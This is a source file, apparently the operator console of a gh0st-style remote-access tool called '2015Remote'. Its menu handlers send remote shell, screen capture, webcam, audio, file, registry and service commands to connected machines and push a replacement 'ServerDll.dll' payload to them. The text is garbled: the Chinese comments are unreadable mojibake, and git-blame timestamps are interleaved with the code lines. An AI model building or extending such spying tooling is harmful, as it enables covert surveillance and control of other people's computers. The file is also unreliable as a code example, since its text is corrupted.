// IDM_ABOUTBOX <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ϵͳ<CFB5> <CDB3> <EFBFBD> Χ <EEB7B6> ڡ<EFBFBD>
ASSERT ( ( IDM_ABOUTBOX & 0xFFF0 ) = = IDM_ABOUTBOX ) ;
ASSERT ( IDM_ABOUTBOX < 0xF000 ) ;
CMenu * pSysMenu = GetSystemMenu ( FALSE ) ;
if ( pSysMenu ! = NULL )
{
BOOL bNameValid ;
CString strAboutMenu ;
bNameValid = strAboutMenu . LoadString ( IDS_ABOUTBOX ) ;
ASSERT ( bNameValid ) ;
if ( ! strAboutMenu . IsEmpty ( ) )
{
pSysMenu - > AppendMenu ( MF_SEPARATOR ) ;
pSysMenu - > AppendMenu ( MF_STRING , IDM_ABOUTBOX , strAboutMenu ) ;
}
}
2025-04-07 18:18:36 +08:00
m_ServerDLL [ PAYLOAD_DLL_X86 ] = ReadKernelDll ( false ) ;
m_ServerDLL [ PAYLOAD_DLL_X64 ] = ReadKernelDll ( true ) ;
2019-01-05 20:21:43 +08:00
// <20> <> <EFBFBD> ô˶Ի<CBB6> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> ͼ<EFBFBD> ꡣ<EFBFBD> <EAA1A3> Ӧ<EFBFBD> ó<EFBFBD> <C3B3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڲ<EFBFBD> <DAB2> ǶԻ<C7B6> <D4BB> <EFBFBD> ʱ<EFBFBD> <CAB1> <EFBFBD> <EFBFBD> <EFBFBD> ܽ<EFBFBD> <DCBD> Զ<EFBFBD>
// ִ<> д˲<D0B4> <CBB2> <EFBFBD>
SetIcon ( m_hIcon , TRUE ) ; // <20> <> <EFBFBD> ô<EFBFBD> ͼ<EFBFBD> <CDBC>
SetIcon ( m_hIcon , FALSE ) ; // <20> <> <EFBFBD> <EFBFBD> С ͼ<D0A1> <CDBC>
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> Ӷ<EFBFBD> <D3B6> <EFBFBD> <EFBFBD> ij<EFBFBD> ʼ <EFBFBD> <CABC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2024-12-26 17:07:43 +08:00
isClosed = FALSE ;
2019-01-05 20:21:43 +08:00
g_2015RemoteDlg = this ;
CreateToolBar ( ) ;
InitControl ( ) ;
CreatStatusBar ( ) ;
CreateNotifyBar ( ) ;
CreateSolidMenu ( ) ;
2024-12-29 22:13:37 +08:00
if ( ! ListenPort ( ) ) {
OnCancel ( ) ;
return FALSE ;
}
2025-04-07 18:18:36 +08:00
int m = atoi ( ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetStr ( " settings " , " ReportInterval " , " 5 " ) ) ;
int n = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " SoftwareDetect " ) ;
m_settings = { m , sizeof ( void * ) = = 8 , __DATE__ , n } ;
std : : map < int , std : : string > myMap = { { SOFTWARE_CAMERA , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͷ" } , { SOFTWARE_TELEGRAM , " <EFBFBD> 籨" } } ;
std : : string str = myMap [ n ] ;
LVCOLUMN lvColumn ;
memset ( & lvColumn , 0 , sizeof ( LVCOLUMN ) ) ;
lvColumn . mask = LVCF_TEXT ;
lvColumn . pszText = ( char * ) str . data ( ) ;
m_CList_Online . SetColumn ( ONLINELIST_VIDEO , & lvColumn ) ;
2019-09-07 10:47:50 +08:00
timeBeginPeriod ( 1 ) ;
2019-01-05 20:21:43 +08:00
return TRUE ; // <20> <> <EFBFBD> ǽ<EFBFBD> <C7BD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> õ<EFBFBD> <C3B5> ؼ<EFBFBD> <D8BC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> TRUE
}
void CMy2015RemoteDlg : : OnSysCommand ( UINT nID , LPARAM lParam )
{
if ( ( nID & 0xFFF0 ) = = IDM_ABOUTBOX )
{
CAboutDlg dlgAbout ;
dlgAbout . DoModal ( ) ;
}
else
{
CDialogEx : : OnSysCommand ( nID , lParam ) ;
}
}
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> С <EFBFBD> <D0A1> <EFBFBD> <EFBFBD> ť<EFBFBD> <C5A5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ҫ<EFBFBD> <D2AA> <EFBFBD> <EFBFBD> <EFBFBD> Ĵ<EFBFBD> <C4B4> <EFBFBD>
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ƹ<EFBFBD> ͼ<EFBFBD> ꡣ<EFBFBD> <EAA1A3> <EFBFBD> <EFBFBD> ʹ <EFBFBD> <CAB9> <EFBFBD> ĵ<EFBFBD> /<2F> <> ͼģ<CDBC> ͵<EFBFBD> MFC Ӧ<> ó<EFBFBD> <C3B3> <EFBFBD> <EFBFBD> <EFBFBD>
// <20> ⽫<EFBFBD> ɿ<EFBFBD> <C9BF> <EFBFBD> <EFBFBD> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> ɡ <EFBFBD>
void CMy2015RemoteDlg : : OnPaint ( )
{
if ( IsIconic ( ) )
{
CPaintDC dc ( this ) ; // <20> <> <EFBFBD> ڻ<EFBFBD> <DABB> Ƶ<EFBFBD> <C6B5> 豸<EFBFBD> <E8B1B8> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
SendMessage ( WM_ICONERASEBKGND , reinterpret_cast < WPARAM > ( dc . GetSafeHdc ( ) ) , 0 ) ;
// ʹ ͼ<CAB9> <CDBC> <EFBFBD> ڹ<EFBFBD> <DAB9> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> о <EFBFBD> <D0BE> <EFBFBD>
int cxIcon = GetSystemMetrics ( SM_CXICON ) ;
int cyIcon = GetSystemMetrics ( SM_CYICON ) ;
CRect rect ;
GetClientRect ( & rect ) ;
int x = ( rect . Width ( ) - cxIcon + 1 ) / 2 ;
int y = ( rect . Height ( ) - cyIcon + 1 ) / 2 ;
// <20> <> <EFBFBD> <EFBFBD> ͼ<EFBFBD> <CDBC>
dc . DrawIcon ( x , y , m_hIcon ) ;
}
else
{
CDialogEx : : OnPaint ( ) ;
}
}
//<2F> <> <EFBFBD> û<EFBFBD> <C3BB> ϶<EFBFBD> <CFB6> <EFBFBD> С <EFBFBD> <D0A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʱϵͳ<CFB5> <CDB3> <EFBFBD> ô˺<C3B4> <CBBA> <EFBFBD> ȡ<EFBFBD> ù<EFBFBD> <C3B9> <EFBFBD>
//<2F> <> ʾ <EFBFBD> <CABE>
HCURSOR CMy2015RemoteDlg : : OnQueryDragIcon ( )
{
return static_cast < HCURSOR > ( m_hIcon ) ;
}
void CMy2015RemoteDlg : : OnSize ( UINT nType , int cx , int cy )
{
CDialogEx : : OnSize ( nType , cx , cy ) ;
// TODO: <20> ڴ˴ <DAB4> <CBB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <CFA2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
if ( SIZE_MINIMIZED = = nType )
{
return ;
}
2024-12-26 21:58:44 +08:00
EnterCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
if ( m_CList_Online . m_hWnd ! = NULL ) //<2F> <> <EFBFBD> ؼ<EFBFBD> Ҳ<EFBFBD> Ǵ<EFBFBD> <C7B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ҳ<EFBFBD> о <EFBFBD> <D0BE> <EFBFBD> <EFBFBD> <EFBFBD>
{
CRect rc ;
rc . left = 1 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
rc . top = 80 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
rc . right = cx - 1 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
rc . bottom = cy - 160 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
m_CList_Online . MoveWindow ( rc ) ;
2019-01-18 17:37:15 +08:00
for ( int i = 0 ; i < g_Column_Count_Online ; + + i ) { //<2F> <> <EFBFBD> <EFBFBD> ÿһ <C3BF> <D2BB> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
double Temp = g_Column_Data_Online [ i ] . nWidth ; //<2F> õ<EFBFBD> <C3B5> <EFBFBD> ǰ<EFBFBD> е Ŀ<D0B5> <C4BF> <EFBFBD> 138
Temp / = g_Column_Online_Width ; //<2F> <> һ <EFBFBD> <D2BB> <EFBFBD> <EFBFBD> ǰ<EFBFBD> <C7B0> <EFBFBD> <EFBFBD> ռ <EFBFBD> ܳ<EFBFBD> <DCB3> ȵļ<C8B5> <C4BC> <EFBFBD> ֮<EFBFBD> <D6AE>
Temp * = cx ; //<2F> <> ԭ<EFBFBD> <D4AD> <EFBFBD> ij<EFBFBD> <C4B3> ȳ<EFBFBD> <C8B3> <EFBFBD> <EFBFBD> <EFBFBD> ռ <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> ֮<EFBFBD> <D6AE> <EFBFBD> õ<EFBFBD> <C3B5> <EFBFBD> ǰ<EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD>
int lenth = Temp ; //ת<> <D7AA> Ϊint <20> <> <EFBFBD> <EFBFBD>
m_CList_Online . SetColumnWidth ( i , ( lenth ) ) ; //<2F> <> <EFBFBD> õ<EFBFBD> ǰ<EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD>
}
}
2024-12-26 21:58:44 +08:00
LeaveCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
if ( m_CList_Message . m_hWnd ! = NULL )
{
CRect rc ;
rc . left = 1 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
rc . top = cy - 156 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
rc . right = cx - 1 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
rc . bottom = cy - 20 ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
m_CList_Message . MoveWindow ( rc ) ;
2019-01-18 17:37:15 +08:00
for ( int i = 0 ; i < g_Column_Count_Message ; + + i ) { //<2F> <> <EFBFBD> <EFBFBD> ÿһ <C3BF> <D2BB> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
double Temp = g_Column_Data_Message [ i ] . nWidth ; //<2F> õ<EFBFBD> <C3B5> <EFBFBD> ǰ<EFBFBD> е Ŀ<D0B5> <C4BF> <EFBFBD>
Temp / = g_Column_Message_Width ; //<2F> <> һ <EFBFBD> <D2BB> <EFBFBD> <EFBFBD> ǰ<EFBFBD> <C7B0> <EFBFBD> <EFBFBD> ռ <EFBFBD> ܳ<EFBFBD> <DCB3> ȵļ<C8B5> <C4BC> <EFBFBD> ֮<EFBFBD> <D6AE>
Temp * = cx ; //<2F> <> ԭ<EFBFBD> <D4AD> <EFBFBD> ij<EFBFBD> <C4B3> ȳ<EFBFBD> <C8B3> <EFBFBD> <EFBFBD> <EFBFBD> ռ <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> ֮<EFBFBD> <D6AE> <EFBFBD> õ<EFBFBD> <C3B5> <EFBFBD> ǰ<EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD>
int lenth = Temp ; //ת<> <D7AA> Ϊint <20> <> <EFBFBD> <EFBFBD>
m_CList_Message . SetColumnWidth ( i , ( lenth ) ) ; //<2F> <> <EFBFBD> õ<EFBFBD> ǰ<EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD>
}
}
if ( m_StatusBar . m_hWnd ! = NULL ) { //<2F> <> <EFBFBD> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> С <EFBFBD> ı <EFBFBD> ʱ ״̬<D7B4> <CCAC> <EFBFBD> <EFBFBD> С Ҳ<D0A1> <D2B2> ֮<EFBFBD> ı <EFBFBD>
CRect Rect ;
Rect . top = cy - 20 ;
Rect . left = 0 ;
Rect . right = cx ;
Rect . bottom = cy ;
m_StatusBar . MoveWindow ( Rect ) ;
m_StatusBar . SetPaneInfo ( 0 , m_StatusBar . GetItemID ( 0 ) , SBPS_POPOUT , cx - 10 ) ;
}
if ( m_ToolBar . m_hWnd ! = NULL ) //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
{
CRect rc ;
rc . top = rc . left = 0 ;
rc . right = cx ;
rc . bottom = 80 ;
m_ToolBar . MoveWindow ( rc ) ; //<2F> <> <EFBFBD> ù<EFBFBD> <C3B9> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> С λ<D0A1> <CEBB>
}
}
void CMy2015RemoteDlg : : OnTimer ( UINT_PTR nIDEvent )
{
}
void CMy2015RemoteDlg : : OnClose ( )
{
2024-12-29 22:13:37 +08:00
// <20> <> <EFBFBD> ش<EFBFBD> <D8B4> ڶ<EFBFBD> <DAB6> <EFBFBD> <EFBFBD> ǹر<C7B9>
ShowWindow ( SW_HIDE ) ;
2025-04-27 01:16:16 +08:00
Mprintf ( " ======> Hide \n " ) ;
2024-12-29 22:13:37 +08:00
}
void CMy2015RemoteDlg : : Release ( ) {
2025-04-27 01:16:16 +08:00
Mprintf ( " ======> Release \n " ) ;
2024-12-26 17:07:43 +08:00
isClosed = TRUE ;
2021-03-14 12:15:53 +08:00
ShowWindow ( SW_HIDE ) ;
2025-02-25 03:43:15 +08:00
2019-01-05 20:21:43 +08:00
Shell_NotifyIcon ( NIM_DELETE , & m_Nid ) ;
2019-01-13 00:04:50 +08:00
2019-04-15 16:24:32 +08:00
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT ;
2024-12-26 21:58:44 +08:00
EnterCriticalSection ( & m_cs ) ;
2019-01-15 21:48:37 +08:00
int n = m_CList_Online . GetItemCount ( ) ;
for ( int Pos = 0 ; Pos < n ; + + Pos )
{
CONTEXT_OBJECT * ContextObject = ( CONTEXT_OBJECT * ) m_CList_Online . GetItemData ( Pos ) ;
m_iocpServer - > OnClientPreSending ( ContextObject , & bToken , sizeof ( BYTE ) ) ;
}
2024-12-26 21:58:44 +08:00
LeaveCriticalSection ( & m_cs ) ;
2025-04-07 18:18:36 +08:00
Sleep ( 500 ) ;
2019-01-15 21:48:37 +08:00
2025-04-07 18:18:36 +08:00
if ( m_iocpServer ! = NULL )
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
m_iocpServer - > Destroy ( ) ;
2019-01-05 20:21:43 +08:00
m_iocpServer = NULL ;
}
2025-04-07 18:18:36 +08:00
g_2015RemoteDlg = NULL ;
SetEvent ( m_hExit ) ;
CloseHandle ( m_hExit ) ;
m_hExit = NULL ;
Sleep ( 500 ) ;
2019-09-07 10:47:50 +08:00
timeEndPeriod ( 1 ) ;
2019-01-05 20:21:43 +08:00
}
2025-01-15 00:28:37 +08:00
int CALLBACK CMy2015RemoteDlg : : CompareFunction ( LPARAM lParam1 , LPARAM lParam2 , LPARAM lParamSort ) {
auto * pSortInfo = reinterpret_cast < std : : pair < int , bool > * > ( lParamSort ) ;
int nColumn = pSortInfo - > first ;
bool bAscending = pSortInfo - > second ;
// <20> <> ȡ<EFBFBD> <C8A1> ֵ
CONTEXT_OBJECT * context1 = ( CONTEXT_OBJECT * ) lParam1 ;
CONTEXT_OBJECT * context2 = ( CONTEXT_OBJECT * ) lParam2 ;
CString s1 = context1 - > GetClientData ( nColumn ) ;
CString s2 = context2 - > GetClientData ( nColumn ) ;
int result = s1 > s2 ? 1 : - 1 ;
return bAscending ? result : - result ;
}
void CMy2015RemoteDlg : : SortByColumn ( int nColumn ) {
static int m_nSortColumn = 0 ;
static bool m_bSortAscending = false ;
if ( nColumn = = m_nSortColumn ) {
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͬһ <CDAC> У <EFBFBD> <D0A3> л<EFBFBD> <D0BB> <EFBFBD> <EFBFBD> <EFBFBD> ˳<EFBFBD> <CBB3>
m_bSortAscending = ! m_bSortAscending ;
}
else {
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> л<EFBFBD> <D0BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> в<EFBFBD> <D0B2> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ<EFBFBD> <CEAA> <EFBFBD> <EFBFBD>
m_nSortColumn = nColumn ;
m_bSortAscending = true ;
}
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ
std : : pair < int , bool > sortInfo ( m_nSortColumn , m_bSortAscending ) ;
EnterCriticalSection ( & m_cs ) ;
m_CList_Online . SortItems ( CompareFunction , reinterpret_cast < LPARAM > ( & sortInfo ) ) ;
LeaveCriticalSection ( & m_cs ) ;
}
void CMy2015RemoteDlg : : OnHdnItemclickList ( NMHDR * pNMHDR , LRESULT * pResult ) {
LPNMHEADER pNMHeader = reinterpret_cast < LPNMHEADER > ( pNMHDR ) ;
int nColumn = pNMHeader - > iItem ; // <20> <> ȡ<EFBFBD> <C8A1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
SortByColumn ( nColumn ) ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
* pResult = 0 ;
}
2019-01-05 20:21:43 +08:00
void CMy2015RemoteDlg : : OnNMRClickOnline ( NMHDR * pNMHDR , LRESULT * pResult )
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast < LPNMITEMACTIVATE > ( pNMHDR ) ;
//<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> ˵<EFBFBD>
CMenu Menu ;
Menu . LoadMenu ( IDR_MENU_LIST_ONLINE ) ; //<2F> <> <EFBFBD> ز˵<D8B2> <CBB5> <EFBFBD> Դ <20> <> Դ<EFBFBD> <D4B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
CMenu * SubMenu = Menu . GetSubMenu ( 0 ) ;
CPoint Point ;
GetCursorPos ( & Point ) ;
int iCount = SubMenu - > GetMenuItemCount ( ) ;
2024-12-26 21:58:44 +08:00
EnterCriticalSection ( & m_cs ) ;
int n = m_CList_Online . GetSelectedCount ( ) ;
LeaveCriticalSection ( & m_cs ) ;
if ( n = = 0 ) //<2F> <> <EFBFBD> <EFBFBD> û<EFBFBD> <C3BB> ѡ <EFBFBD> <D1A1>
2019-01-05 20:21:43 +08:00
{
2019-01-18 17:37:15 +08:00
for ( int i = 0 ; i < iCount ; + + i )
2019-01-05 20:21:43 +08:00
{
SubMenu - > EnableMenuItem ( i , MF_BYPOSITION | MF_DISABLED | MF_GRAYED ) ; //<2F> ˵<EFBFBD> ȫ<EFBFBD> <C8AB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
}
}
Menu . SetMenuItemBitmaps ( ID_ONLINE_MESSAGE , MF_BYCOMMAND , & m_bmOnline [ 0 ] , & m_bmOnline [ 0 ] ) ;
2024-12-28 18:35:34 +08:00
Menu . SetMenuItemBitmaps ( ID_ONLINE_UPDATE , MF_BYCOMMAND , & m_bmOnline [ 1 ] , & m_bmOnline [ 1 ] ) ;
Menu . SetMenuItemBitmaps ( ID_ONLINE_DELETE , MF_BYCOMMAND , & m_bmOnline [ 2 ] , & m_bmOnline [ 2 ] ) ;
2025-04-15 21:37:01 +08:00
Menu . SetMenuItemBitmaps ( ID_ONLINE_SHARE , MF_BYCOMMAND , & m_bmOnline [ 3 ] , & m_bmOnline [ 3 ] ) ;
2019-01-05 20:21:43 +08:00
SubMenu - > TrackPopupMenu ( TPM_LEFTALIGN , Point . x , Point . y , this ) ;
* pResult = 0 ;
}
void CMy2015RemoteDlg : : OnOnlineMessage ( )
{
BYTE bToken = COMMAND_TALK ; //<2F> ض˷<D8B6> <CBB7> <EFBFBD> һ <EFBFBD> <D2BB> COMMAND_SYSTEM
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
2024-12-28 18:35:34 +08:00
char * ReadFileToMemory ( const CString & filePath , ULONGLONG & fileSize ) {
fileSize = 0 ;
try {
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> ֻ<EFBFBD> <D6BB> ģʽ <C4A3> <CABD>
CFile file ( filePath , CFile : : modeRead | CFile : : typeBinary ) ;
// <20> <> ȡ<EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> С
fileSize = file . GetLength ( ) ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ڴ滺<DAB4> <E6BBBA> <EFBFBD> <EFBFBD> : ͷ+<2B> ļ<EFBFBD> <C4BC> <EFBFBD> С +<2B> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> <EFBFBD>
char * buffer = new char [ 1 + sizeof ( ULONGLONG ) + static_cast < size_t > ( fileSize ) + 1 ] ;
if ( ! buffer ) {
return NULL ;
}
memcpy ( buffer + 1 , & fileSize , sizeof ( ULONGLONG ) ) ;
// <20> <> ȡ<EFBFBD> ļ<EFBFBD> <C4BC> <EFBFBD> <EFBFBD> ݵ<EFBFBD> <DDB5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
file . Read ( buffer + 1 + sizeof ( ULONGLONG ) , static_cast < UINT > ( fileSize ) ) ;
buffer [ 1 + sizeof ( ULONGLONG ) + fileSize ] = ' \0 ' ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ַ<EFBFBD> <D6B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
// <20> ͷ<EFBFBD> <CDB7> ڴ<EFBFBD>
return buffer ;
}
catch ( CFileException * e ) {
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD> <C4BC> 쳣
TCHAR errorMessage [ 256 ] ;
e - > GetErrorMessage ( errorMessage , 256 ) ;
e - > Delete ( ) ;
return NULL ;
}
}
void CMy2015RemoteDlg : : OnOnlineUpdate ( )
{
2025-03-13 23:34:33 +08:00
if ( IDYES ! = MessageBox ( _T ( " ȷ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ѡ <EFBFBD> <EFBFBD> <EFBFBD> ı <EFBFBD> <EFBFBD> س<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ? \n <EFBFBD> <EFBFBD> <EFBFBD> ܿس<EFBFBD> <EFBFBD> <EFBFBD> ֧<EFBFBD> ַ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ч!" ) ,
_T ( " <EFBFBD> <EFBFBD> ʾ " ) , MB_ICONQUESTION | MB_YESNO ) )
return ;
2024-12-28 18:35:34 +08:00
char path [ _MAX_PATH ] , * p = path ;
GetModuleFileNameA ( NULL , path , sizeof ( path ) ) ;
while ( * p ) + + p ;
while ( ' \\ ' ! = * p ) - - p ;
strcpy ( p + 1 , " ServerDll.dll " ) ;
ULONGLONG fileSize = 0 ;
char * buffer = ReadFileToMemory ( path , fileSize ) ;
if ( buffer ) {
buffer [ 0 ] = COMMAND_UPDATE ;
SendSelectedCommand ( ( PBYTE ) buffer , 1 + sizeof ( ULONGLONG ) + fileSize + 1 ) ;
delete [ ] buffer ;
}
else {
AfxMessageBox ( " <EFBFBD> <EFBFBD> ȡ<EFBFBD> ļ<EFBFBD> ʧ<EFBFBD> <EFBFBD> : " + CString ( path ) ) ;
}
}
2019-01-05 20:21:43 +08:00
void CMy2015RemoteDlg : : OnOnlineDelete ( )
{
// TODO: <20> ڴ<EFBFBD> <DAB4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EEB4A6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-17 11:58:26 +08:00
if ( IDYES ! = MessageBox ( _T ( " ȷ<EFBFBD> <EFBFBD> ɾ<EFBFBD> <EFBFBD> ѡ <EFBFBD> <EFBFBD> <EFBFBD> ı <EFBFBD> <EFBFBD> ؼ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ? " ) , _T ( " <EFBFBD> <EFBFBD> ʾ " ) , MB_ICONQUESTION | MB_YESNO ) )
return ;
2019-01-05 20:21:43 +08:00
BYTE bToken = COMMAND_BYE ; //<2F> ض˷<D8B6> <CBB7> <EFBFBD> һ <EFBFBD> <D2BB> COMMAND_SYSTEM
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ; //Context PreSending PostSending
2024-12-26 21:58:44 +08:00
EnterCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
int iCount = m_CList_Online . GetSelectedCount ( ) ;
2019-02-04 14:49:11 +08:00
for ( int i = 0 ; i < iCount ; + + i )
2019-01-05 20:21:43 +08:00
{
POSITION Pos = m_CList_Online . GetFirstSelectedItemPosition ( ) ;
int iItem = m_CList_Online . GetNextSelectedItem ( Pos ) ;
2019-02-04 14:49:11 +08:00
CString strIP = m_CList_Online . GetItemText ( iItem , ONLINELIST_IP ) ;
2019-01-05 20:21:43 +08:00
m_CList_Online . DeleteItem ( iItem ) ;
strIP + = " <EFBFBD> Ͽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ;
ShowMessage ( true , strIP ) ;
}
2024-12-26 21:58:44 +08:00
LeaveCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
}
VOID CMy2015RemoteDlg : : OnOnlineCmdManager ( )
{
BYTE bToken = COMMAND_SHELL ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineProcessManager ( )
{
BYTE bToken = COMMAND_SYSTEM ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineWindowManager ( )
{
BYTE bToken = COMMAND_WSLIST ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineDesktopManager ( )
2025-03-13 23:34:33 +08:00
{
int n = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetInt ( " settings " , " DXGI " ) ;
2025-03-30 18:03:01 +08:00
CString algo = ( ( CMy2015RemoteApp * ) AfxGetApp ( ) ) - > m_iniFile . GetStr ( " settings " , " ScreenCompress " , " " ) ;
BYTE bToken [ 32 ] = { COMMAND_SCREEN_SPY , n , algo . IsEmpty ( ) ? ALGORITHM_DIFF : atoi ( algo . GetString ( ) ) } ;
2025-03-13 23:34:33 +08:00
SendSelectedCommand ( bToken , sizeof ( bToken ) ) ;
2019-01-05 20:21:43 +08:00
}
VOID CMy2015RemoteDlg : : OnOnlineFileManager ( )
{
2019-02-04 14:49:11 +08:00
BYTE bToken = COMMAND_LIST_DRIVE ;
2019-01-05 20:21:43 +08:00
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineAudioManager ( )
{
2019-02-04 14:49:11 +08:00
BYTE bToken = COMMAND_AUDIO ;
2019-01-05 20:21:43 +08:00
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineVideoManager ( )
{
2019-02-04 14:49:11 +08:00
BYTE bToken = COMMAND_WEBCAM ;
2019-01-05 20:21:43 +08:00
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineServerManager ( )
{
2019-02-04 14:49:11 +08:00
BYTE bToken = COMMAND_SERVICES ;
2019-01-05 20:21:43 +08:00
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
VOID CMy2015RemoteDlg : : OnOnlineRegisterManager ( )
{
BYTE bToken = COMMAND_REGEDIT ;
SendSelectedCommand ( & bToken , sizeof ( BYTE ) ) ;
}
